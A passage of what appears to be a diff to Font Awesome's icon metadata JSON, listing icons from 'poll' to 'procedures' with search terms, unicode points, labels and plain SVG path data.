8.535-6.31-2.382-15.512-4.342-30.946-5.406-44.339-.146-1.836-1.149-3.486-2.678-4.512-47.4-31.806-78.564-86.016-78.187-147.347.592-96.237 79.29-174.648 175.529-174.899C320.793 47.747 400 126.797 400 224c0 61.932-32.158 116.49-80.65 147.867-.999 14.037-3.069 30.588-5.624 47.23-.732 4.767 4.203 8.429 8.535 6.31C395.227 389.727 448 314.187 448 224 448 100.205 347.815 0 224 0zm0 160c-35.346 0-64 28.654-64 64s28.654 64 64 64 64-28.654 64-64-28.654-64-64-64z" + } + }, + "free": [ + "solid" + ] + }, + "poll": { + "changes": [ + "5.3.0", + "5.10.1" + ], + "ligatures": [], + "search": { + "terms": [ + "results", + "survey", + "trend", + "vote", + "voting" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f681", + "label": "Poll", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635646, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zM160 368c0 8.84-7.16 16-16 16h-32c-8.84 0-16-7.16-16-16V240c0-8.84 7.16-16 16-16h32c8.84 0 16 7.16 16 16v128zm96 0c0 8.84-7.16 16-16 16h-32c-8.84 0-16-7.16-16-16V144c0-8.84 7.16-16 16-16h32c8.84 0 16 7.16 16 16v224zm96 0c0 8.84-7.16 16-16 16h-32c-8.84 0-16-7.16-16-16v-64c0-8.84 7.16-16 16-16h32c8.84 0 16 7.16 16 16v64z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zM160 368c0 8.84-7.16 16-16 16h-32c-8.84 0-16-7.16-16-16V240c0-8.84 7.16-16 16-16h32c8.84 0 16 7.16 16 16v128zm96 0c0 8.84-7.16 16-16 16h-32c-8.84 0-16-7.16-16-16V144c0-8.84 7.16-16 16-16h32c8.84 0 16 7.16 16 16v224zm96 0c0 8.84-7.16 16-16 16h-32c-8.84 0-16-7.16-16-16v-64c0-8.84 7.16-16 16-16h32c8.84 0 16 7.16 16 16v64z" + } + }, + "free": [ + "solid" + ] + }, + "poll-h": { + "changes": [ + "5.3.0", + "5.10.1" + ], + "ligatures": [], + "search": { + "terms": [ + "results", + "survey", + "trend", + "vote", + "voting" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f682", + "label": "Poll H", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635645, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M448 432V80c0-26.5-21.5-48-48-48H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48zM112 192c-8.84 0-16-7.16-16-16v-32c0-8.84 7.16-16 16-16h128c8.84 0 16 7.16 16 16v32c0 8.84-7.16 16-16 16H112zm0 96c-8.84 0-16-7.16-16-16v-32c0-8.84 7.16-16 16-16h224c8.84 0 16 7.16 16 16v32c0 8.84-7.16 16-16 16H112zm0 96c-8.84 0-16-7.16-16-16v-32c0-8.84 7.16-16 16-16h64c8.84 0 16 7.16 16 16v32c0 8.84-7.16 16-16 16h-64z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M448 432V80c0-26.5-21.5-48-48-48H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48zM112 192c-8.84 0-16-7.16-16-16v-32c0-8.84 7.16-16 16-16h128c8.84 0 16 7.16 16 16v32c0 8.84-7.16 16-16 16H112zm0 96c-8.84 0-16-7.16-16-16v-32c0-8.84 7.16-16 16-16h224c8.84 0 16 7.16 16 16v32c0 8.84-7.16 16-16 16H112zm0 96c-8.84 0-16-7.16-16-16v-32c0-8.84 7.16-16 16-16h64c8.84 0 16 7.16 16 16v32c0 8.84-7.16 16-16 16h-64z" + } + }, + "free": [ + "solid" + ] + }, + "poo": { + "changes": [ + "5.0.0", + "5.0.9" + ], + "ligatures": [], + "search": { + "terms": [ + "crap", + "poop", + "shit", + "smile", + "turd" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f2fe", + "label": "Poo", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635646, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M451.4 369.1C468.7 356 480 335.4 480 312c0-39.8-32.2-72-72-72h-14.1c13.4-11.7 22.1-28.8 22.1-48 0-35.3-28.7-64-64-64h-5.9c3.6-10.1 5.9-20.7 5.9-32 0-53-43-96-96-96-5.2 0-10.2.7-15.1 1.5C250.3 14.6 256 30.6 256 48c0 44.2-35.8 80-80 80h-16c-35.3 0-64 28.7-64 64 0 19.2 8.7 36.3 22.1 48H104c-39.8 0-72 32.2-72 72 0 23.4 11.3 44 28.6 57.1C26.3 374.6 0 404.1 0 440c0 39.8 32.2 72 72 72h368c39.8 0 72-32.2 72-72 0-35.9-26.3-65.4-60.6-70.9zM192 256c17.7 0 32 14.3 32 32s-14.3 32-32 32-32-14.3-32-32 14.3-32 32-32zm159.5 139C341 422.9 293 448 256 448s-85-25.1-95.5-53c-2-5.3 2-11 7.8-11h175.4c5.8 0 9.8 5.7 7.8 11zM320 320c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M451.4 369.1C468.7 356 480 335.4 480 312c0-39.8-32.2-72-72-72h-14.1c13.4-11.7 22.1-28.8 22.1-48 0-35.3-28.7-64-64-64h-5.9c3.6-10.1 5.9-20.7 5.9-32 0-53-43-96-96-96-5.2 0-10.2.7-15.1 1.5C250.3 14.6 256 30.6 256 48c0 44.2-35.8 80-80 80h-16c-35.3 0-64 28.7-64 64 0 19.2 8.7 36.3 22.1 48H104c-39.8 0-72 32.2-72 72 0 23.4 11.3 44 28.6 57.1C26.3 374.6 0 404.1 0 440c0 39.8 32.2 72 72 72h368c39.8 0 72-32.2 72-72 0-35.9-26.3-65.4-60.6-70.9zM192 256c17.7 0 32 14.3 32 32s-14.3 32-32 32-32-14.3-32-32 14.3-32 32-32zm159.5 139C341 422.9 293 448 256 448s-85-25.1-95.5-53c-2-5.3 2-11 7.8-11h175.4c5.8 0 9.8 5.7 7.8 11zM320 320c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32z" + } + }, + "free": [ + "solid" + ] + }, + "poo-storm": { + "changes": [ + "5.5.0" + ], + "ligatures": [], + "search": { + "terms": [ + "bolt", + "cloud", + "euphemism", + "lightning", + "mess", + "poop", + "shit", + "turd" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f75a", + "label": "Poo Storm", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635646, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M308 336h-57.7l17.3-64.9c2-7.6-3.7-15.1-11.6-15.1h-68c-6 0-11.1 4.5-11.9 10.4l-16 120c-1 7.2 4.6 13.6 11.9 13.6h59.3l-23 97.2c-1.8 7.6 4 14.8 11.7 14.8 4.2 0 8.2-2.2 10.4-6l88-152c4.6-8-1.2-18-10.4-18zm66.4-111.3c5.9-9.6 9.6-20.6 9.6-32.7 0-35.3-28.7-64-64-64h-5.9c3.6-10.1 5.9-20.7 5.9-32 0-53-43-96-96-96-5.2 0-10.2.7-15.1 1.5C218.3 14.6 224 30.6 224 48c0 44.2-35.8 80-80 80h-16c-35.3 0-64 28.7-64 64 0 12.1 3.7 23.1 9.6 32.7C32.6 228 0 262.2 0 304c0 44 36 80 80 80h48.3c.1-.6 0-1.2 0-1.8l16-120c3-21.8 21.7-38.2 43.7-38.2h68c13.8 0 26.5 6.3 34.9 17.2s11.2 24.8 7.6 38.1l-6.6 24.7h16c15.7 0 30.3 8.4 38.1 22 7.8 13.6 7.8 30.5 0 44l-8.1 14h30c44 0 80-36 80-80 .1-41.8-32.5-76-73.5-79.3z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M308 336h-57.7l17.3-64.9c2-7.6-3.7-15.1-11.6-15.1h-68c-6 0-11.1 4.5-11.9 10.4l-16 120c-1 7.2 4.6 13.6 11.9 13.6h59.3l-23 97.2c-1.8 7.6 4 14.8 11.7 14.8 4.2 0 8.2-2.2 10.4-6l88-152c4.6-8-1.2-18-10.4-18zm66.4-111.3c5.9-9.6 9.6-20.6 9.6-32.7 0-35.3-28.7-64-64-64h-5.9c3.6-10.1 5.9-20.7 5.9-32 0-53-43-96-96-96-5.2 0-10.2.7-15.1 1.5C218.3 14.6 224 30.6 224 48c0 44.2-35.8 80-80 80h-16c-35.3 0-64 28.7-64 64 0 12.1 3.7 23.1 9.6 32.7C32.6 228 0 262.2 0 304c0 44 36 80 80 80h48.3c.1-.6 0-1.2 0-1.8l16-120c3-21.8 21.7-38.2 43.7-38.2h68c13.8 0 26.5 6.3 34.9 17.2s11.2 24.8 7.6 38.1l-6.6 24.7h16c15.7 0 30.3 8.4 38.1 22 7.8 13.6 7.8 30.5 0 44l-8.1 14h30c44 0 80-36 80-80 .1-41.8-32.5-76-73.5-79.3z" + } + }, + "free": [ + "solid" + ] + }, + "poop": { + "changes": [ + "5.2.0" + ], + "ligatures": [], + "search": { + "terms": [ + "crap", + "poop", + "shit", + "smile", + "turd" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f619", + "label": "Poop", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635647, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M451.36 369.14C468.66 355.99 480 335.41 480 312c0-39.77-32.24-72-72-72h-14.07c13.42-11.73 22.07-28.78 22.07-48 0-35.35-28.65-64-64-64h-5.88c3.57-10.05 5.88-20.72 5.88-32 0-53.02-42.98-96-96-96-5.17 0-10.15.74-15.11 1.52C250.31 14.64 256 30.62 256 48c0 44.18-35.82 80-80 80h-16c-35.35 0-64 28.65-64 64 0 19.22 8.65 36.27 22.07 48H104c-39.76 0-72 32.23-72 72 0 23.41 11.34 43.99 28.64 57.14C26.31 374.62 0 404.12 0 440c0 39.76 32.24 72 72 72h368c39.76 0 72-32.24 72-72 0-35.88-26.31-65.38-60.64-70.86z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M451.36 369.14C468.66 355.99 480 335.41 480 312c0-39.77-32.24-72-72-72h-14.07c13.42-11.73 22.07-28.78 22.07-48 0-35.35-28.65-64-64-64h-5.88c3.57-10.05 5.88-20.72 5.88-32 0-53.02-42.98-96-96-96-5.17 0-10.15.74-15.11 1.52C250.31 14.64 256 30.62 256 48c0 44.18-35.82 80-80 80h-16c-35.35 0-64 28.65-64 64 0 19.22 8.65 36.27 22.07 48H104c-39.76 0-72 32.23-72 72 0 23.41 11.34 43.99 28.64 57.14C26.31 374.62 0 404.12 0 440c0 39.76 32.24 72 72 72h368c39.76 0 72-32.24 72-72 0-35.88-26.31-65.38-60.64-70.86z" + } + }, + "free": [ + "solid" + ] + }, + "portrait": { + "changes": [ + "5.0.0", + "5.0.3" + ], + "ligatures": [], + "search": { + "terms": [ + "id", + "image", + "photo", + "picture", + "selfie" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f3e0", + "label": "Portrait", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635648, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M336 0H48C21.5 0 0 21.5 0 48v416c0 26.5 21.5 48 48 48h288c26.5 0 48-21.5 48-48V48c0-26.5-21.5-48-48-48zM192 128c35.3 0 64 28.7 64 64s-28.7 64-64 64-64-28.7-64-64 28.7-64 64-64zm112 236.8c0 10.6-10 19.2-22.4 19.2H102.4C90 384 80 375.4 80 364.8v-19.2c0-31.8 30.1-57.6 67.2-57.6h5c12.3 5.1 25.7 8 39.8 8s27.6-2.9 39.8-8h5c37.1 0 67.2 25.8 67.2 57.6v19.2z\"/></svg>", + "viewBox": [ + "0", + "0", + "384", + "512" + ], + "width": 384, + "height": 512, + "path": "M336 0H48C21.5 0 0 21.5 0 48v416c0 26.5 21.5 48 48 48h288c26.5 0 48-21.5 48-48V48c0-26.5-21.5-48-48-48zM192 128c35.3 0 64 28.7 64 64s-28.7 64-64 64-64-28.7-64-64 28.7-64 64-64zm112 236.8c0 10.6-10 19.2-22.4 19.2H102.4C90 384 80 375.4 80 364.8v-19.2c0-31.8 30.1-57.6 67.2-57.6h5c12.3 5.1 25.7 8 39.8 8s27.6-2.9 39.8-8h5c37.1 0 67.2 25.8 67.2 57.6v19.2z" + } + }, + "free": [ + "solid" + ] + }, + "pound-sign": { + "changes": [ + "3.2", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "currency", + "gbp", + "money" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f154", + "label": "Pound Sign", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635648, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 320 512\"><path d=\"M308 352h-45.495c-6.627 0-12 5.373-12 12v50.848H128V288h84c6.627 0 12-5.373 12-12v-40c0-6.627-5.373-12-12-12h-84v-63.556c0-32.266 24.562-57.086 61.792-57.086 23.658 0 45.878 11.505 57.652 18.849 5.151 3.213 11.888 2.051 15.688-2.685l28.493-35.513c4.233-5.276 3.279-13.005-2.119-17.081C273.124 54.56 236.576 32 187.931 32 106.026 32 48 84.742 48 157.961V224H20c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h28v128H12c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h296c6.627 0 12-5.373 12-12V364c0-6.627-5.373-12-12-12z\"/></svg>", + "viewBox": [ + "0", + "0", + "320", + "512" + ], + "width": 320, + "height": 512, + "path": "M308 352h-45.495c-6.627 0-12 5.373-12 12v50.848H128V288h84c6.627 0 12-5.373 12-12v-40c0-6.627-5.373-12-12-12h-84v-63.556c0-32.266 24.562-57.086 61.792-57.086 23.658 0 45.878 11.505 57.652 18.849 5.151 3.213 11.888 2.051 15.688-2.685l28.493-35.513c4.233-5.276 3.279-13.005-2.119-17.081C273.124 54.56 236.576 32 187.931 32 106.026 32 48 84.742 48 157.961V224H20c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h28v128H12c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h296c6.627 0 12-5.373 12-12V364c0-6.627-5.373-12-12-12z" + } + }, + "free": [ + "solid" + ] + }, + "power-off": { + "changes": [ + "1", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "cancel", + "computer", + "on", + "reboot", + "restart" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f011", + "label": "Power Off", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635648, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M400 54.1c63 45 104 118.6 104 201.9 0 136.8-110.8 247.7-247.5 248C120 504.3 8.2 393 8 256.4 7.9 173.1 48.9 99.3 111.8 54.2c11.7-8.3 28-4.8 35 7.7L162.6 90c5.9 10.5 3.1 23.8-6.6 31-41.5 30.8-68 79.6-68 134.9-.1 92.3 74.5 168.1 168 168.1 91.6 0 168.6-74.2 168-169.1-.3-51.8-24.7-101.8-68.1-134-9.7-7.2-12.4-20.5-6.5-30.9l15.8-28.1c7-12.4 23.2-16.1 34.8-7.8zM296 264V24c0-13.3-10.7-24-24-24h-32c-13.3 0-24 10.7-24 24v240c0 13.3 10.7 24 24 24h32c13.3 0 24-10.7 24-24z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M400 54.1c63 45 104 118.6 104 201.9 0 136.8-110.8 247.7-247.5 248C120 504.3 8.2 393 8 256.4 7.9 173.1 48.9 99.3 111.8 54.2c11.7-8.3 28-4.8 35 7.7L162.6 90c5.9 10.5 3.1 23.8-6.6 31-41.5 30.8-68 79.6-68 134.9-.1 92.3 74.5 168.1 168 168.1 91.6 0 168.6-74.2 168-169.1-.3-51.8-24.7-101.8-68.1-134-9.7-7.2-12.4-20.5-6.5-30.9l15.8-28.1c7-12.4 23.2-16.1 34.8-7.8zM296 264V24c0-13.3-10.7-24-24-24h-32c-13.3 0-24 10.7-24 24v240c0 13.3 10.7 24 24 24h32c13.3 0 24-10.7 24-24z" + } + }, + "free": [ + "solid" + ] + }, + "pray": { + "changes": [ + "5.3.0" + ], + "ligatures": [], + "search": { + "terms": [ + "kneel", + "preach", + "religion", + "worship" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f683", + "label": "Pray", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635649, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M256 128c35.35 0 64-28.65 64-64S291.35 0 256 0s-64 28.65-64 64 28.65 64 64 64zm-30.63 169.75c14.06 16.72 39 19.09 55.97 5.22l88-72.02c17.09-13.98 19.59-39.19 5.62-56.28-13.97-17.11-39.19-19.59-56.31-5.62l-57.44 47-38.91-46.31c-15.44-18.39-39.22-27.92-64-25.33-24.19 2.48-45.25 16.27-56.37 36.92l-49.37 92.03c-23.4 43.64-8.69 96.37 34.19 123.75L131.56 432H40c-22.09 0-40 17.91-40 40s17.91 40 40 40h208c34.08 0 53.77-42.79 28.28-68.28L166.42 333.86l34.8-64.87 24.15 28.76z\"/></svg>", + "viewBox": [ + "0", + "0", + "384", + "512" + ], + "width": 384, + "height": 512, + "path": "M256 128c35.35 0 64-28.65 64-64S291.35 0 256 0s-64 28.65-64 64 28.65 64 64 64zm-30.63 169.75c14.06 16.72 39 19.09 55.97 5.22l88-72.02c17.09-13.98 19.59-39.19 5.62-56.28-13.97-17.11-39.19-19.59-56.31-5.62l-57.44 47-38.91-46.31c-15.44-18.39-39.22-27.92-64-25.33-24.19 2.48-45.25 16.27-56.37 36.92l-49.37 92.03c-23.4 43.64-8.69 96.37 34.19 123.75L131.56 432H40c-22.09 0-40 17.91-40 40s17.91 40 40 40h208c34.08 0 53.77-42.79 28.28-68.28L166.42 333.86l34.8-64.87 24.15 28.76z" + } + }, + "free": [ + "solid" + ] + }, + "praying-hands": { + "changes": [ + "5.3.0" + ], + "ligatures": [], + "search": { + "terms": [ + "kneel", + "preach", + "religion", + "worship" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f684", + "label": "Praying Hands", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635649, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M272 191.91c-17.6 0-32 14.4-32 32v80c0 8.84-7.16 16-16 16s-16-7.16-16-16v-76.55c0-17.39 4.72-34.47 13.69-49.39l77.75-129.59c9.09-15.16 4.19-34.81-10.97-43.91-14.45-8.67-32.72-4.3-42.3 9.21-.2.23-.62.21-.79.48l-117.26 175.9C117.56 205.9 112 224.31 112 243.29v80.23l-90.12 30.04A31.974 31.974 0 0 0 0 383.91v96c0 10.82 8.52 32 32 32 2.69 0 5.41-.34 8.06-1.03l179.19-46.62C269.16 449.99 304 403.8 304 351.91v-128c0-17.6-14.4-32-32-32zm346.12 161.73L528 323.6v-80.23c0-18.98-5.56-37.39-16.12-53.23L394.62 14.25c-.18-.27-.59-.24-.79-.48-9.58-13.51-27.85-17.88-42.3-9.21-15.16 9.09-20.06 28.75-10.97 43.91l77.75 129.59c8.97 14.92 13.69 32 13.69 49.39V304c0 8.84-7.16 16-16 16s-16-7.16-16-16v-80c0-17.6-14.4-32-32-32s-32 14.4-32 32v128c0 51.89 34.84 98.08 84.75 112.34l179.19 46.62c2.66.69 5.38 1.03 8.06 1.03 23.48 0 32-21.18 32-32v-96c0-13.77-8.81-25.99-21.88-30.35z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M272 191.91c-17.6 0-32 14.4-32 32v80c0 8.84-7.16 16-16 16s-16-7.16-16-16v-76.55c0-17.39 4.72-34.47 13.69-49.39l77.75-129.59c9.09-15.16 4.19-34.81-10.97-43.91-14.45-8.67-32.72-4.3-42.3 9.21-.2.23-.62.21-.79.48l-117.26 175.9C117.56 205.9 112 224.31 112 243.29v80.23l-90.12 30.04A31.974 31.974 0 0 0 0 383.91v96c0 10.82 8.52 32 32 32 2.69 0 5.41-.34 8.06-1.03l179.19-46.62C269.16 449.99 304 403.8 304 351.91v-128c0-17.6-14.4-32-32-32zm346.12 161.73L528 323.6v-80.23c0-18.98-5.56-37.39-16.12-53.23L394.62 14.25c-.18-.27-.59-.24-.79-.48-9.58-13.51-27.85-17.88-42.3-9.21-15.16 9.09-20.06 28.75-10.97 43.91l77.75 129.59c8.97 14.92 13.69 32 13.69 49.39V304c0 8.84-7.16 16-16 16s-16-7.16-16-16v-80c0-17.6-14.4-32-32-32s-32 14.4-32 32v128c0 51.89 34.84 98.08 84.75 112.34l179.19 46.62c2.66.69 5.38 1.03 8.06 1.03 23.48 0 32-21.18 32-32v-96c0-13.77-8.81-25.99-21.88-30.35z" + } + }, + "free": [ + "solid" + ] + }, + "prescription": { + "changes": [ + "5.1.0" + ], + "ligatures": [], + "search": { + "terms": [ + "drugs", + "medical", + "medicine", + "pharmacy", + "rx" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f5b1", + "label": "Prescription", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635650, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M301.26 352l78.06-78.06c6.25-6.25 6.25-16.38 0-22.63l-22.63-22.63c-6.25-6.25-16.38-6.25-22.63 0L256 306.74l-83.96-83.96C219.31 216.8 256 176.89 256 128c0-53.02-42.98-96-96-96H16C7.16 32 0 39.16 0 48v256c0 8.84 7.16 16 16 16h32c8.84 0 16-7.16 16-16v-80h18.75l128 128-78.06 78.06c-6.25 6.25-6.25 16.38 0 22.63l22.63 22.63c6.25 6.25 16.38 6.25 22.63 0L256 397.25l78.06 78.06c6.25 6.25 16.38 6.25 22.63 0l22.63-22.63c6.25-6.25 6.25-16.38 0-22.63L301.26 352zM64 96h96c17.64 0 32 14.36 32 32s-14.36 32-32 32H64V96z\"/></svg>", + "viewBox": [ + "0", + "0", + "384", + "512" + ], + "width": 384, + "height": 512, + "path": "M301.26 352l78.06-78.06c6.25-6.25 6.25-16.38 0-22.63l-22.63-22.63c-6.25-6.25-16.38-6.25-22.63 0L256 306.74l-83.96-83.96C219.31 216.8 256 176.89 256 128c0-53.02-42.98-96-96-96H16C7.16 32 0 39.16 0 48v256c0 8.84 7.16 16 16 16h32c8.84 0 16-7.16 16-16v-80h18.75l128 128-78.06 78.06c-6.25 6.25-6.25 16.38 0 22.63l22.63 22.63c6.25 6.25 16.38 6.25 22.63 0L256 397.25l78.06 78.06c6.25 6.25 16.38 6.25 22.63 0l22.63-22.63c6.25-6.25 6.25-16.38 0-22.63L301.26 352zM64 96h96c17.64 0 32 14.36 32 32s-14.36 32-32 32H64V96z" + } + }, + "free": [ + "solid" + ] + }, + "prescription-bottle": { + "changes": [ + "5.0.7" + ], + "ligatures": [], + "search": { + "terms": [ + "drugs", + "medical", + "medicine", + "pharmacy", + "rx" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f485", + "label": "Prescription Bottle", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635649, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M32 192h120c4.4 0 8 3.6 8 8v16c0 4.4-3.6 8-8 8H32v64h120c4.4 0 8 3.6 8 8v16c0 4.4-3.6 8-8 8H32v64h120c4.4 0 8 3.6 8 8v16c0 4.4-3.6 8-8 8H32v64c0 17.6 14.4 32 32 32h256c17.6 0 32-14.4 32-32V128H32v64zM360 0H24C10.8 0 0 10.8 0 24v48c0 13.2 10.8 24 24 24h336c13.2 0 24-10.8 24-24V24c0-13.2-10.8-24-24-24z\"/></svg>", + "viewBox": [ + "0", + "0", + "384", + "512" + ], + "width": 384, + "height": 512, + "path": "M32 192h120c4.4 0 8 3.6 8 8v16c0 4.4-3.6 8-8 8H32v64h120c4.4 0 8 3.6 8 8v16c0 4.4-3.6 8-8 8H32v64h120c4.4 0 8 3.6 8 8v16c0 4.4-3.6 8-8 8H32v64c0 17.6 14.4 32 32 32h256c17.6 0 32-14.4 32-32V128H32v64zM360 0H24C10.8 0 0 10.8 0 24v48c0 13.2 10.8 24 24 24h336c13.2 0 24-10.8 24-24V24c0-13.2-10.8-24-24-24z" + } + }, + "free": [ + "solid" + ] + }, + "prescription-bottle-alt": { + "changes": [ + "5.0.7" + ], + "ligatures": [], + "search": { + "terms": [ + "drugs", + "medical", + "medicine", + "pharmacy", + "rx" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f486", + "label": "Alternate Prescription Bottle", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635649, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M360 0H24C10.8 0 0 10.8 0 24v48c0 13.2 10.8 24 24 24h336c13.2 0 24-10.8 24-24V24c0-13.2-10.8-24-24-24zM32 480c0 17.6 14.4 32 32 32h256c17.6 0 32-14.4 32-32V128H32v352zm64-184c0-4.4 3.6-8 8-8h56v-56c0-4.4 3.6-8 8-8h48c4.4 0 8 3.6 8 8v56h56c4.4 0 8 3.6 8 8v48c0 4.4-3.6 8-8 8h-56v56c0 4.4-3.6 8-8 8h-48c-4.4 0-8-3.6-8-8v-56h-56c-4.4 0-8-3.6-8-8v-48z\"/></svg>", + "viewBox": [ + "0", + "0", + "384", + "512" + ], + "width": 384, + "height": 512, + "path": "M360 0H24C10.8 0 0 10.8 0 24v48c0 13.2 10.8 24 24 24h336c13.2 0 24-10.8 24-24V24c0-13.2-10.8-24-24-24zM32 480c0 17.6 14.4 32 32 32h256c17.6 0 32-14.4 32-32V128H32v352zm64-184c0-4.4 3.6-8 8-8h56v-56c0-4.4 3.6-8 8-8h48c4.4 0 8 3.6 8 8v56h56c4.4 0 8 3.6 8 8v48c0 4.4-3.6 8-8 8h-56v56c0 4.4-3.6 8-8 8h-48c-4.4 0-8-3.6-8-8v-56h-56c-4.4 0-8-3.6-8-8v-48z" + } + }, + "free": [ + "solid" + ] + }, + "print": { + "changes": [ + "1", + "5.0.0", + "5.3.0", + "5.11.0" + ], + "ligatures": [], + "search": { + "terms": [ + "business", + "copy", + "document", + "office", + "paper" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f02f", + "label": "print", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635650, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M448 192V77.25c0-8.49-3.37-16.62-9.37-22.63L393.37 9.37c-6-6-14.14-9.37-22.63-9.37H96C78.33 0 64 14.33 64 32v160c-35.35 0-64 28.65-64 64v112c0 8.84 7.16 16 16 16h48v96c0 17.67 14.33 32 32 32h320c17.67 0 32-14.33 32-32v-96h48c8.84 0 16-7.16 16-16V256c0-35.35-28.65-64-64-64zm-64 256H128v-96h256v96zm0-224H128V64h192v48c0 8.84 7.16 16 16 16h48v96zm48 72c-13.25 0-24-10.75-24-24 0-13.26 10.75-24 24-24s24 10.74 24 24c0 13.25-10.75 24-24 24z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M448 192V77.25c0-8.49-3.37-16.62-9.37-22.63L393.37 9.37c-6-6-14.14-9.37-22.63-9.37H96C78.33 0 64 14.33 64 32v160c-35.35 0-64 28.65-64 64v112c0 8.84 7.16 16 16 16h48v96c0 17.67 14.33 32 32 32h320c17.67 0 32-14.33 32-32v-96h48c8.84 0 16-7.16 16-16V256c0-35.35-28.65-64-64-64zm-64 256H128v-96h256v96zm0-224H128V64h192v48c0 8.84 7.16 16 16 16h48v96zm48 72c-13.25 0-24-10.75-24-24 0-13.26 10.75-24 24-24s24 10.74 24 24c0 13.25-10.75 24-24 24z" + } + }, + "free": [ + "solid" + ] + }, + "procedures": { + "changes": [ + "5.0.7" + ], + "ligatures": [], + "search": { + "terms": [ + "EKG", + "bed", + "electrocardiogram", + "health", + "hospital", + "life", + "patient", + "vital" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f487", + "label": "Procedures", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635651, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M528 224H272c-8.8 0-16 7.2-16 16v144H64V144c0-8.8-7.2-16-16-16H16c-8.8 0-16 7.2-16 16v352c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16v-48h512v48c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V336c0-61.9-50.1-112-112-112zM136 96h126.1l27.6 55.2c5.9 11.8 22.7 11.8 28.6 0L368 51.8 390.1 96H512c8.8 0 16-7.2 16-16s-7.2-16-16-16H409.9L382.3 8.8C376.4-3 359.6-3 353.7 8.8L304 108.2l-19.9-39.8c-1.4-2.7-4.1-4.4-7.2-4.4H136c-4.4 